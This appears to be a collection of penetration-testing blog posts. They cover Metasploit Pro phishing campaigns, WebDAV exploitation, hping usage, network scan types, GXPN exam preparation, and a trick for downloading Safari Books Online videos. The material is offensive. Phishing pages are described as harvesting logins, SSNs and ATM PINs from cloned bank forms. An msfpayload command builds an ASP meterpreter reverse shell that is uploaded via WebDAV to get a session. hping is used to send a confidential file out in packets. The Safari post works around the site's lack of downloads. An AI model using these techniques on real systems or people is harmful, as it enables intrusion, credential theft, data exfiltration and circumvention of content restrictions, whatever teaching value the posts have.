[Metasploit Pro] Client-Side Campaigns

Playing around with Metasploit Pro after the latest update, I noticed there has been a complete makeover in how Campaigns are set up. Campaigns are used in / for the Client-side testing (read: social engineering, phishing emails, phishing forms, web server serving exploits, file format exploits, etc.).

So I thought of sharing the new configuration steps with you ninjas. Let's begin.

Start with creating a new project.

Here's our new project home.

Click on the Campaigns at the top of project home. This will bring up the Campaigns home dashboard.

As we can see here, there are 3 areas in the Campaigns dashboard:

1. Configure a Campaign
2. Manage Campaigns
3. Manage Reusable Resources

We will start with Configuring a Campaign to keep things simple. I will cover the other two areas as well.

Configuring a Campaign screen shows 3 areas that we need to configure:

1. Name of Campaign, Type of Campaign - Phishing or Custom
2. Campaign Components - Email - Landing Page
3. Server Configuration - Email Server and Web Server

Enter a name for our Campaign - Test Campaign 1 and we will start with a 'Phishing Campaign.' I will cover the 'Custom Campaign' as well after this.

Now we need to jump in to configure Campaign Components.

Note: At the start of configuration, notice that all the components have a dotted boundary. Once we configure the components, this shall change to a solid one.

Clicking on Email component brings us to a new configuration page. This is a 2 step process:

1. Configure E-mail Header
2. Configure E-mail Content

We start with configuring the Email Header. Fill in the Subject, From address, From name and then we have to choose a Target List. Target List is a list of email addresses to which we will send our email. Since we have not (yet) defined a Target List, we should select 'Create a new Target List.'

This brings up a new screen to create a 'New Target List.' Here we either:

1. Import Target List (email addresses) - from a file in csv format; or
2. Manually add Targets (email addresses)

Let's add 2 target email addresses manually & press Submit. This will bring us back to Configure E-mail Header page and we will proceed to add content to our email.

In the E-mail Content screen, we write an email for our targeted users. Email can have either Rich-text or Plain Text content. Metasploit provides custom attributes that we can use in our email. We can choose to insert these from the drop-down on the top right under 'Insert Custom Attribute'.

Attributes auto-fill the email with data from the Target List we created earlier. For example, first name, last name, & email address. We can also add link to our Landing Page as is shown below.

Note: We can also choose to use Email Templates from the 'Template' drop down option. We can create the templates under 'Manage Reusable Resources' area. I will cover this as well but for now we will stick to the example above.

Save the configuration and the next component we need to configure is the 'Landing Page'. Landing Page is the web page where the user will get phished! This is typically a form through which we aim to harvest information from the target user; for example, login information, Social Security Number, date of birth, bank account numbers, ATM pin etc.

Configuring Landing Page is a 2 step process:

1. Configure Landing Page Settings
2. Create Landing Page Content

Under the Landing Page Settings configuration, we can define a URL path to the web page. By default, a random string is generated here.

The next configuration defines the redirection behavior 'After' the (phishing) form is submitted by the target user. It offers 2 options:

1. Redirect to a custom URL
2. Redirect to the Campaign Redirect Page

We will select Campaign Redirect Page for this configuration. At the moment, this page does not exist. We will create this page once we complete the current configuration.

A custom URL can be any URL. It can be URL to a legitimate web site to which the target user originally intended to go to, or can be URL of a malicious web server where we choose to run browser autopwn or serve exploits.

Next step is to create content for our Landing Page. Metasploit Pro provides an option to Clone Website which I will show to you in a moment. For now, we will use a simple form example.

Note: Only forms are allowed here.

Save the configuration and we are back on our Campaigns Dashboard. Now we see there is a new component ('Redirect Page') created for us to configure (look it's got a dotted boundary). This is the Campaign Redirect Page that we came across above earlier.

Proceed to configure the Campaign Redirect Page. It has 2 steps:

1. Page Name
2. Page Content

We can add any HTML code here. Save the configuration and we can proceed to configure Email and Web servers.

But hold on folks, there's something else I'd like you to show. It won't take long. : )

Let's go back to Configure Landing Page Settings, and this time I just want to show we can enter a custom Redirect-To URL here.

The next thing I'd like to show is the 'Clone Website' option we have in the Create Landing Page Content screen. To Clone a web form, say of a target organization's employee login or a bank's login page or perhaps an administrative portal login, we click on the 'Clone Website' button on the top right. It shall bring up a pop up box. Here, we can provide our target form URL and configure few more options (explanation copy-pasted from HELP):

1. Strip Javascript - Removes Javascript tags from the cloned HTML and prevents any scripts from running URL checking code or redirecting the human target to the real site.
2. Set referer - Sets the HTTP referer header on the outgoing request for the cloned web page. Use this option if you want to use a page that checks referers or if you want to appear to the site’s administrator as a user that browsed to the website (e.g., http://www.company.com/home).
3. Set user agent - Sets the user agent header on the outgoing request for the cloned web page. Use this option if you want to get a targeted version of a website or if you want your request to appear to come from a normal browser.
4. Resolve relative URLS - Resolves any relative URLS to absolute URLs in the cloned HTML. This option is selected by default.

From here, we save the configuration and it will bring us out on the Dashboard.

The final component is the Server configuration - Email and Web.

With this final component configured, the phishing campaign is ready.

Save & Launch Campaign to start the run.!

+++++

I have covered one of three areas in the Campaigns dashboard. In the next few posts, I will cover 'Manage Reusable Resources' in which we can create different templates for Email content, Web page content, Email address lists and Malicious files (which we can send in our emails). Additionally, I will cover the 'Manage Campaigns' area, where we can review, edit and monitor progress of our campaigns.

The whole workflow is pretty simple to configure and quite straight forward.

Stay connected for more.

[DIY] Testing / Hacking WebDAV

Unrestricted WebDAV PUT/DELETE Access

http://www.rapid7.com/vulndb/lookup/http-unrestricted-webdav-put-delete

Severity:          High - 8
CVSS Score:     9.4
PCI Score:        5

Description:

Unrestricted WebDAV requests expose a server to defacements and denial of service attacks. If the PUT method can be used by any unauthenticated remote user, arbitrary web pages can be inserted into the web root, or the disk can be filled with meaningless data; if the DELETE method is unprotected, then any file in a DAV-enabled directory can be removed at will.

Running nexpose scan against a vulnerable target will give a result observation similar as below:

/r7.txt was successfully PUT on the server, then removed with DELETE.

We can use davtest.pl - http://code.google.com/p/davtest/ - to validate whether WebDAV setup on target host is exploitable and if yes, to what extent.

lab@localhost:~/davtest-1.0$ ./davtest.pl

ERROR: Missing -url

./davtest.pl -url <url> [options]

 -auth+        Authorization (user:password)
 -cleanup      delete everything uploaded when done
 -directory+  postfix portion of directory to create
 -debug+      DAV debug level 1-3 (2 & 3 log req/resp to /tmp/perldav_debug.txt)
 -move         PUT text files then MOVE to executable
 -nocreate    don't create a directory
 -quiet          only print out summary
 -rand+        use this instead of a random string for filenames
 -sendbd+    send backdoors:
         auto - for any succeeded test
           ext - extension matching file name(s) in backdoors/ dir
 -uploadfile+ upload this file (requires -uploadloc)
 -uploadloc+ upload file to this location/name (requires -uploadfile)
 -url+           url of DAV location

Example: ./davtest.pl -url http://localhost/davdir

Test run against lab box:

lab@localhost:davtest-1.0# ./davtest.pl -url http://192.168.1.4 -directory demo_dir -rand rAnD0M5Tr1nG_upfileP0C -cleanup
********************************************************
Testing DAV connection
OPEN        SUCCEED:        http://192.168.1.4
********************************************************
NOTE    Random string for this session: rAnD0M5Tr1nG_upfileP0C
********************************************************
Creating directory
MKCOL       SUCCEED:        Created http://192.168.1.4/demo_dir
********************************************************
Sending test files
PUT php SUCCEED: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.php
PUT asp SUCCEED: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.asp
PUT html SUCCEED: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.html
PUT shtml FAIL
PUT cgi FAIL
PUT txt SUCCEED: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.txt
PUT aspx FAIL
PUT cfm SUCCEED: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.cfm
PUT jsp SUCCEED: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.jsp
PUT pl FAIL
PUT jhtml SUCCEED: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.jhtml
********************************************************
Checking for test file execution
EXEC php FAIL

EXEC asp SUCCEED: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.asp
EXEC html SUCCEED: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.html
EXEC txt SUCCEED: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.txt
EXEC cfm FAIL
EXEC jsp FAIL
EXEC jhtml FAIL
********************************************************
Cleaning up
DELETE SUCCEED: http://192.168.1.4/demo_dir
********************************************************
./davtest.pl Summary:
Created: http://192.168.1.4/demo_dir
PUT File: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.php
PUT File: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.asp

PUT File: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.html
PUT File: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.txt
PUT File: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.cfm
PUT File: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.jsp
PUT File: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.jhtml
Executes: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.asp

Executes: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.html
Executes: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.txt
DELETED: http://192.168.1.4/demo_dir

davtest.pl confirms whether we can PUT arbitrary files on the web server, and which files (filetypes) we can execute. As shown above, we see we can upload php, asp, html, txt, cfm, jsp and jhtml file types. However, out of these, we can only execute, asp, html and txt files.

This davtest summary can be a sufficient evidence for the vulnerability. In a pentest, however, there may be a scenario you face where the target host is all locked up and just a web server is running on 80/tcp. Then, exploiting this vulnerability becomes significant and we will need to go beyond just this davtest summary.

So what can we do from here? The obvious task is to upload a control mechanism on the target server. That is, we upload a web shell for example an asp shell via PUT, and then simply call it and play with the server.

You can find a lot of web shells with some google-fu, or you can write one yourself. Or we can generate a shell payload using msfpayload.

lab@localhost:davtest-1.0#msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=443 R | msfencode -t asp -o aspmetrev443t.asp

Then, use davtest.pl to upload it.

lab@localhost:davtest-1.0# ./davtest.pl -url http://192.168.1.4 -directory demo_dir -uploadfile aspmetrev443t.asp -uploadloc demo_dir

Upload succeeded: http://192.168.1.4/demo_dir/aspmetrev443t.asp

Before you access this url, make sure you start metasploit multi handler to listen for incoming connection from this meterpreter reverse shell payload.

msf-pro >
msf-pro > use exploit/multi/handler
msf  exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf  exploit(handler) > set LHOST 192.168.1.1
msf  exploit(handler) > set LPORT 443
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.1:443
[*] Starting the payload handler...

With everything set up now, browse to your shell aspmetrev443t.asp.
[*] Started reverse handler on 192.168.1.1:443
[*] Starting the payload handler...

[*] Sending stage (748032 bytes) to 192.168.1.4
[*] Meterpreter session 1 opened (192.168.1.4:443 -> 192.168.1.1:56031)

+++++
Win!

Passed GIAC GXPN Exam

Hey guys, I challenged and passed certification exam for SANS 660 - GIAC Exploit Developer and Advanced Penetration Tester (GXPN) recently.

As with most of my previous GIAC exams, I did a self-study for GXPN as well. SANS / GIAC categorizes this exam / course as 'Advanced' so keep that in mind when preparing.

Exam objective break up list is available on GIAC GXPN site and must be the first place to prioritize study plan. As I see it, there are 2 sections to plan for.

First, you got to study, practice hands-on and should have good prior experience primarily in Penetration Testing. An experienced pen tester carries knowledge & skills in a variety of domains - systems, networks, applications, architecture, etc., - & how to break each using tools or manually by hand; and that is what this section demands. At a high level, relate the topics from objective lists of SANS GIAC 401, 504, 505, 506, 542, and 560. Anything and everything except exploit development.

Second, is Exploit Development on Windows & Linux platforms. So, your priority reading ought to be, x86, Assembly, Memory management, Stacks, Heaps, Processes, Threads, SEH, DEP, ASLR, Shellcode, Debugging, Disassembling, and various exploitation techniques on Windows & *nix. Unless you have hands-on experience in these areas, plan to spend at least 6-10 months to learn & practice.

Following are resources that helped me prepare for the SANS 660 GXPN exam:

1. Corelan.be - Peter (corelanc0d3r) has written Excellent articles on exploit development from Basics to Advanced exploitation scenarios. Highly recommended resource. Period.
2. Security Tube - Another excellent resource for learning variety of topics. Vivek has created series of video tutorials on Linux assembly, Windows assembly, Format String vulnerabilities, Buffer Overflows, Exploit research, Metasploit and many more. His way of teaching is pretty good. I highly recommend studying his primers for preparation to GIAC GXPN.
3. Shellcoder's handbook 2nd edition - Thorough coverage of *nix exploitation. Windows and other OS are covered as well. A good resource. Get it here.
4. Microsoft MSDN / Technet - This is required reading for various topics, such as Windows memory management, process, threads, heaps, SEH, DEP, etc.
5. Exploit-db (Papers) - Formerly milw0rm, there are some really good papers that detail various exploitation techniques. This is required reading, folks.

In addition to all the above resources, the essential, final element is hands-on experience. There is no alternative to it. Build a virtual lab, go to exploit-db.com, download vulnerable applications and their corresponding exploit codes and test them out in your virtual machines. Learn to use Immunity Debugger / Ollydbg, IDA pro / gdb disassembler. Spend time, make notes and follow along the topics one by one. Always start it one step at a time and trust me, you'll be sprinting in no time.

My views on exam are mixed. Most questions were pretty straight and some really twisted. Apparently, pretty straight to me, cos I have decent EEE (education, exposure, experience) in pen testing, and work on exploit dev every once in a while. Twisted ones especially on the exploit development domain. I feel exam can be further improved in 2 aspects:

1. More screen cap based questions should be there in exam which will test a candidate's ability to read through registers, memory locations and identify issues, and solutions in making an exploit work.
2. For any incorrect questions, I hope SANS GIAC starts to show a hint for why the chosen answer was not correct. Currently, you answer incorrectly and you get no freaking idea why it was so. The objective of exam needs to be to enforce the learning and not only to get a certificate.

Overall, it has been a long process to prepare and become confident of completing this expensive challenge (~1000$). It took far greater effort than earlier GIAC exams I completed - GPEN, GCIH, GREM, and GWAPT.

For those who are preparing for GIAC GXPN, feel free to comment, and ask questions. I will be glad to help.

[DIY] Tools - Using Hping

Here's a quick hping usage tutorial.

From the man page:

hping3 is a network tool able to send custom TCP/IP packets and to display target replies like ping program does with ICMP replies. hping3 handle fragmentation, arbitrary packets body and size and can be used in order to transfer files encapsulated under supported protocols. Using hping3 you are able to perform at least the following stuff:

- Test firewall rules
- Advanced port scanning
- Test net performance using different protocols, packet size, TOS (type of service) and fragmentation.
- Path MTU discovery
- Transferring files between even really fascist firewall rules.
- Traceroute-like under different protocols.
- Firewalk-like usage.
- Remote OS fingerprinting.
- TCP/IP stack auditing.
- A lot of others.

Refer to man hping3 and hping3 --help for detailed options & switches.

Let's start with some common base options which are pretty self-explanatory & then move on to modes et all:

root@victor:xd# hping3 --help
usage: hping3 host [options]
-h --help show this help
-v --version show version
-c --count packet count
-i --interval wait (uX for X microseconds, for example -i u1000)
--fast alias for -i u10000 (10 packets for second)
--faster alias for -i u1000 (100 packets for second)
--flood sent packets as fast as possible. Don't show replies.
-n --numeric numeric output
-q --quiet quiet
-I --interface interface name (otherwise default routing interface)
-V --verbose verbose mode
-D --debug debugging info
...snip...

I would like to mention one switch in the IP options category: --rand-source. This hping switch selects the source address of all packets randomly. This can therefore, be used to do (stress) testing stateful firewalls. But it can also potentially fill up the state table, in turn causing legit users & traffic to drop off. So, need to keep this when using this option.

Okay, moving on.

By default, hping sends TCP packets with no tcp flags set, and target host's port 0, continuously. A target system will respond with a RST packet, confirming that it is live.

root@victor:xd# hping3 172.72.5.139

HPING 172.72.5.139 (vmnet1 172.72.5.139): NO FLAGS are set, 40 headers + 0 data bytes
len=40 ip=172.72.5.139 ttl=128 id=32996 sport=0 flags=RA seq=0 win=0 rtt=13.4 ms
len=40 ip=172.72.5.139 ttl=128 id=32997 sport=0 flags=RA seq=1 win=0 rtt=0.7 ms
len=40 ip=172.72.5.139 ttl=128 id=32998 sport=0 flags=RA seq=2 win=0 rtt=0.4 ms
^C
--- 172.72.5.139 hping statistic ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.4/4.8/13.4 ms

There are several modes that we can use hping in. Default mode is TCP.

root@victor:xd# hping3 --help

usage: hping3 host [options]
...
snip
...
Mode
  default mode TCP
  -0 --rawip RAW IP mode
  -1 --icmp ICMP mode
  -2 --udp UDP mode
  -8 --scan SCAN mode.
                   Example: hping --scan 1-30,70-90 -S www.target.host
  -9 --listen listen mode
...
snip
...

RAW IP mode sends the packets without a TCP or UDP headers. To send raw IP packets to target, use the -0 or --rawip switch:

root@victor:xd# hping3 --rawip 172.72.5.139

HPING 172.72.5.139 (vmnet1 172.72.5.139): raw IP mode set, 20 headers + 0 data bytes
^C
--- 172.72.5.139 hping statistic ---
19 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

As we see here, the target (& most systems) silently drops the raw ip packets.

With ICMP mode, hping sends ICMP packets to the target. By default, ICMP echo-requests are sent.

root@victor:xd# hping3 --icmp 172.72.5.139
HPING 172.72.5.139 (vmnet1 172.72.5.139): icmp mode set, 28 headers + 0 data bytes
len=28 ip=172.72.5.139 ttl=128 id=309 icmp_seq=0 rtt=3.8 ms
len=28 ip=172.72.5.139 ttl=128 id=310 icmp_seq=1 rtt=0.6 ms
len=28 ip=172.72.5.139 ttl=128 id=311 icmp_seq=2 rtt=0.4 ms
^C
--- 172.72.5.139 hping statistic ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.4/1.6/3.8 ms

We can easily set other ICMP type/code by using -K / --icmptype or -C / --icmpcode switches.

root@victor:xd# hping3 --help

usage: hping3 host [options]...
snip
...
ICMP
  -C --icmptype icmp type (default echo request)
  -K --icmpcode icmp code (default 0)
      --force-icmp send all icmp types (default send only supported types)
      --icmp-gw set gateway address for ICMP redirect (default 0.0.0.0)
      --icmp-ts Alias for --icmp --icmptype 13 (ICMP timestamp)
      --icmp-addr Alias for --icmp --icmptype 17 (ICMP address subnet mask)
      --icmp-help display help for others icmp options
...
snip
...

For example to use --icmptype as Timestamp / icmp type 13 code 0:

root@victor:xd# hping3 -c 3 --icmptype 13 172.72.5.139

HPING 172.72.5.139 (vmnet1 172.72.5.139): icmp mode set, 28 headers + 0 data bytes
len=40 ip=172.72.5.139 ttl=128 id=321 icmp_seq=0 rtt=0.9 ms
ICMP timestamp: Originate=78180467 Receive=1459333124 Transmit=1459333124
ICMP timestamp RTT tsrtt=1
len=40 ip=172.72.5.139 ttl=128 id=322 icmp_seq=1 rtt=0.4 ms
ICMP timestamp: Originate=78181468 Receive=1056942084 Transmit=1056942084
ICMP timestamp RTT tsrtt=1
len=40 ip=172.72.5.139 ttl=128 id=323 icmp_seq=2 rtt=0.5 ms
ICMP timestamp: Originate=78182468 Receive=637774084 Transmit=637774084
ICMP timestamp RTT tsrtt=1
--- 172.72.5.139 hping statistic ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.6/0.9 ms

Or use --icmpcode switch:

root@victor:xd# hping3 -c 2 --icmpcode 0 172.72.5.139

HPING 172.72.5.139 (vmnet1 172.72.5.139): icmp mode set, 28 headers + 0 data bytes
len=28 ip=172.72.5.139 ttl=128 id=341 icmp_seq=0 rtt=0.5 ms
len=28 ip=172.72.5.139 ttl=128 id=342 icmp_seq=1 rtt=0.4 ms
--- 172.72.5.139 hping statistic ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.5/0.5 ms

Of course, above example shows a ping [icmp type 8 code 0].

Similarly for UDP mode, -2 or --udp switch is used. By default, packets will be sent to target host's port 0.

root@victor:xd# hping3 -c 2 --udp 172.72.5.139

HPING 172.72.5.139 (vmnet1 172.72.5.139): udp mode set, 28 headers + 0 data bytes
ICMP Port Unreachable from ip=172.72.5.139 name=UNKNOWN
status=0 port=1067 seq=0
ICMP Port Unreachable from ip=172.72.5.139 name=UNKNOWN
status=0 port=1068 seq=1
--- 172.72.5.139 hping statistic ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 0.6/500.5/1000.3 ms

So, we receive ICMP Port Unreachable, since there is no UDP service running / listening on the target.

Next is the Scan Mode. We can turn to scan mode by using the -8 or --scan switch. A port or range of ports or an alias is expected as an argument. There are 2 aliases supported currently - all and known. 'all' means all ports 0-65535; 'known' will use all the ports listed in /etc/services file.

root@victor:xd# hping3 -8 21,22,23,135,139,445 172.72.5.139

Scanning 172.72.5.139 (172.72.5.139), port 21,22,23,135,139,445
6 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+-----+
|port| serv name | flags |ttl| id | win | len |
+----+-----------+---------+---+-----+-----+-----+
All replies received. Done.
Not responding ports:

We did not receive any service identification or confirmation response back from the target host. Or at least we do not know the response details yet.

We can use -V switch to get the response info.

root@victor:xd# hping3 -8 21,22,23,135,139,445 172.72.5.139 -V

using vmnet1, addr: 172.72.5.1, MTU: 1500
Scanning 172.72.5.139 (172.72.5.139), port 21,22,23,135,139,445
6 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+-----+
|port| serv name | flags |ttl| id | win | len |
+----+-----------+---------+---+-----+-----+-----+
   21 ftp : ..R.A... 128 44033 0 40
   22 ssh : ..R.A... 128 44289 0 40
   23 telnet : ..R.A... 128 44545 0 40
  135 loc-srv : ..R.A... 128 44801 0 40
  139 netbios-ssn: ..R.A... 128 45057 0 40
  445 microsoft-d: ..R.A... 128 45313 0 40
All replies received. Done.
Not responding ports:

Okay, it appears, that the target host is simply sending a RST ACK to all our scan packets.

Remember that by default, hping will NOT set any TCP flags - SYN, ACK, RST, PSH, URG, FIN. Let's set the SYN flag and scan again.

root@victor:xd# hping3 -8 21,22,23,135,139,445 172.72.5.139 -V -S
using vmnet1, addr: 172.72.5.1, MTU: 1500

Scanning 172.72.5.139 (172.72.5.139), port 21,22,23,135,139,445
6 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+-----+
|port| serv name | flags |ttl| id | win | len |
+----+-----------+---------+---+-----+-----+-----+
   21 ftp : .S..A... 128 50177 64240 44
   22 ssh : ..R.A... 128 50433 0 40
   23 telnet : ..R.A... 128 50689 0 40
  135 loc-srv : .S..A... 128 50945 64240 44
  139 netbios-ssn: .S..A... 128 51201 64240 44
  445 microsoft-d: .S..A... 128 51457 64240 44
All replies received. Done.
Not responding ports:

Alright, with SYN packets, we now find that the target responds back with SYN-ACK for some ports and RST-ACK for other ports.

A SYN-ACK implies that the ports [21,135,139,445] are open, whereas a RST-ACK for ports 22, 23 tells us they are closed / no ssh or telnet on the target box.

Now try using the aliases:

root@victor:xd# hping3 -8 known 172.72.5.139 -S
Scanning 172.72.5.139 (172.72.5.139), port known
317 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+-----+
|port| serv name | flags |ttl| id | win | len |
+----+-----------+---------+---+-----+-----+-----+
  135 loc-srv : .S..A... 128 25860 64240 44
  139 netbios-ssn: .S..A... 128 26628 64240 44
  445 microsoft-d: .S..A... 128 34820 64240 44
   21 ftp : .S..A... 128 774 64240 44
All replies received. Done.
Not responding ports:

root@victor:xd# hping3 -8 all 172.72.5.139 -S
Scanning 172.72.5.139 (172.72.5.139), port all
65536 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+-----+
|port| serv name | flags |ttl| id | win | len |
+----+-----------+---------+---+-----+-----+-----+
21 ftp : .S..A... 128 9127 64240 44
135 loc-srv : .S..A... 128 38311 64240 44
139 netbios-ssn: .S..A... 128 39335 64240 44
445 microsoft-d: .S..A... 128 33214 64240 44
52111 : .S..A... 128 8910 64240 44
All replies received. Done.
Not responding ports: (3130 icpv2) (3131 ) (3132 ) (3133 ) (3134 ) (3135 ) (3136 ) (3137 ) (3138 ) (3139 ) (3140 ) (3141 ) (3142 ) (3143 ) (3144 ) (3145 ) (3146 ) (3147 ) (3148 ) (3149 ) (3150 ) (3151 ) ...snip...

Final mode is the Listen mode, activated by -9 or --listen switch. Basically, when started in listen mode, hping waits] for an incoming packet. hping expects a signature in the incoming packet. Once it finds the signature, hping then dumps the packet, starting -from- the signature -to- the packet end.

For example, on my *nix box, I start hping in listen mode and set the signature as 'JackP0t'. Note that in listen mode, we need to specify the interface to listen on [in case there are multiple interfaces on your box]. Next on the Windows target box, I start hping and give it the file 'confidential_file' as the data input. Remember this data file content will be 'prepended' with the signature 'JackP0t' when it goes out in the packet.

root@victor:xd# hping3 --help

usage: hping3 host [options]...
snip
...
Common
  -d --data data size (default is 0)
  -E --file data from file
  -e --sign add 'signature'
  -j --dump dump packets in hex
  -J --print dump printable characters
  -B --safe enable 'safe' protocol
  -u --end tell you when --file reached EOF and prevent rewind
  -T --traceroute traceroute mode (implies --bind and --ttl 1)
  --tr-stop Exit when receive the first not ICMP in traceroute mode
  --tr-keep-ttl Keep the source TTL fixed, useful to monitor just one hop
  --tr-no-rtt Don't calculate/show RTT information in traceroute mode
...
snip
...

On *nix box:

root@victor:xd# hping3 --listen JackP0t -I vmnet1

hping3 listen mode
[main] memlockall(): Success
Warning: can't disable memory paging!
Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data. <--- content in the file 'confidential_file' which we sent in the packets. hping listener sees the signature 'JackP0t' and then dumps bytes that follow.

From Windows system:

C:\Documents and Settings\Administrator\Desktop\hping2.win32>hping --data 100 --file confidential_file.txt -e JackP0t 172.72.5.1 -V --end <--- we have set a data size of 100 bytes, specified the file 'confidential_file.txt' as data input, set 'JackP0t' as the signature, used a Verbose option to see responses and lastly, used the --end option to tell us when the file reaches EOF.

using AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport, addr: 172.72.5.139, MTU: 1500
HPING (XPSP2) 172.72.5.1 (AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport 172.72.5.1): NO FLAGS are set, 40 headers + 100 data bytes
[main] memlockall(): No error
Warning: can't disable memory paging!
EOF reached, wait some second than press ctrl+c
len=46 ip=172.72.5.1 ttl=64 DF id=0 tos=0 iplen=40
sport=0 flags=RA seq=0 win=0 rtt=16.0 ms
seq=0 ack=141 sum=7441 urp=0
EOF reached, wait some second than press ctrl+c
len=46 ip=172.72.5.1 ttl=64 DF id=0 tos=0 iplen=40
sport=0 flags=RA seq=1 win=0 rtt=0.0 ms
seq=0 ack=26600 sum=17da urp=0

Do note that hping does NOT allow us to scan or send packets to a range of IP addresses. However, we can automate it using a bit of shell scripting.

Let's say we want to send 1 single SYN packet to all 'known' alias ports on all hosts in 172.72.5.0/24 network. This can be done as follows:

for i in `seq 1 255`; do hping3 --count 1 -8 known -S 172.72.5.$i; done

.....

[Quick Notes] Various network scan types

A pentester performs several types of network scans during a test. These are usually sequential in nature, that is, we proceed with each scan, collect information and the move on to the next scan. With each scan, we gather specific information about our target environment.

1. Network Sweeps: Objective is to identify any live IP addresses in the target range - think, ping <IP> or nmap -sn <IP>.

2. Network Tracing: Here we try to determine the target network topology & create a network map - think, traceroute or nmap --trace <IP>.

3. Port Scanning: As the name suggests, we attempt to identify any open, listening TCP and UDP ports on target hosts. At this step, a pentester gets a fair idea on what kind of applications & services are running in the environment. If any of the services is/are known to be vulnerable, a tester has a potential avenue of compromising the vulnerable host.

4. OS fingerprinting: Now that we have identified the running services, we must identify the platform it is running on. Is the target a Solaris server, or is it RHEL or a Microsoft Windows 2008 server? Our exploits, other attacks and more importantly, the overall attack process for a host running a vulnerable service, for example, will vary based on what is the host OS. Once a target OS is known, a tester can research for known OS vulnerabilities, exploits & potential security controls in place. The actual attack surface on the host, hence, becomes clear with the knowledge of target OS.

Simply use nmap to fingerprint the OS (Active OS fingerprinting): nmap -O <IP> / or use p0f3 (Passive OS fingerprinting).

5. Version Scans: This scan attempts to confirm what versions of services are running on the end hosts. Knowing the service versions can also, in some cases, immediately tell a tester if a vulnerable service is implemented in the target environment. An example is SSH v1, which has known vulnerabilities. With nmap, service scan is: nmap -sV <IP>.

6. Vulnerability Scanning: At this point, we know the live IPs, listening ports, what services are running on the ports, what is the operating system and platform of the targets, and what are the versions of services running on them. This scanning phase confirms if any of the identified hosts & services have known vulnerabilities. Most vulnerability scanners today also tell if there are any known, publicly-available exploits present for an identified vulnerability, whether certain services are using no authentication or weak auth (think, default or no MSSQL 'sa' account), CVE-ID, etc.

Hack Safaribooks video downloads

I have a safaribooks account. A few hours back, I was going through a video series on safari & I thought I should download it for offline reference. Makes it easier to study.

But there is no option to download videos! That sucks on part of Safari. They expect users to be online to be able to watch the video packages? wtf!

I decided to take a look at the site just to make sure the option is not hidden somewhere. Nope. No download option for videos. Fast forward a 10-15 minutes, I find myself checking the source code; crazy amounts of AJAX code in there.

After another 15 minutes or so, here I am, watching the videos offline & writing this post.

I followed through post AJAX, carefully looked at the site & the options available for us, the users; & identified a way. No 'testing' involved, just a knowledge of site & flow was needed. As of today, this is probably the 'only' way to download the undownloadable videos from Safari.

Please do note you or someone else needs to be a user - Individual or Corporate - for being able to 'know' the location of content on Safari.

Login to Safari & access the study resource.

Scroll down past the table of contents.

Switch to Mobile Version.

Proceed with 'Start Watching'. Meanwhile, notice that the link to 'Start Watching' for this item is:

m.safaribooksonline.com/clip?isbn=XXXXX&linkid=a01

This is the next screen when you click on 'Start Watching'.

The original request goes to m.safaribooksonline.com/clip?isbn=XXXXX&linkid=a01 which then redirects to the actual download link:

http://safari.vo.llnwd.net/kip0/_pxn=1+_pxI0=Ripod-h264+_pxL0=undefined+_pxM0=+_pxK=19616/mobile/s/BBBBB/a01.mp4?AccountId=XXXXX&UserId=YYYYY&e=1327343958&Fpid=BBBBB&ClipId=a01&source=mui&h=ZZZZZ&source=mui&e=AAAAA&h=ZZZZZ&ClipId=a01&AccountId=XXXXX&UserId=YYYYY&Fpid=BBBBB

You can now use FlashGet to download it.

For other parts of the video series, simply modify the parameters in the download URL:

http://safari.vo.llnwd.net/kip0/_pxn=1+_pxI0=Ripod-h264+_pxL0=undefined+_pxM0=+_pxK=19616/mobile/s/BBBBB/a01.mp4?AccountId=XXXXX&UserId=YYYYY&e=1327343958&Fpid=BBBBB&ClipId=a01&source=mui&h=ZZZZZ&source=mui&e=AAAAA&h=ZZZZZ&ClipId=a01&AccountId=XXXXX&UserId=YYYYY&Fpid=BBBBB

For video #2, the URL becomes:

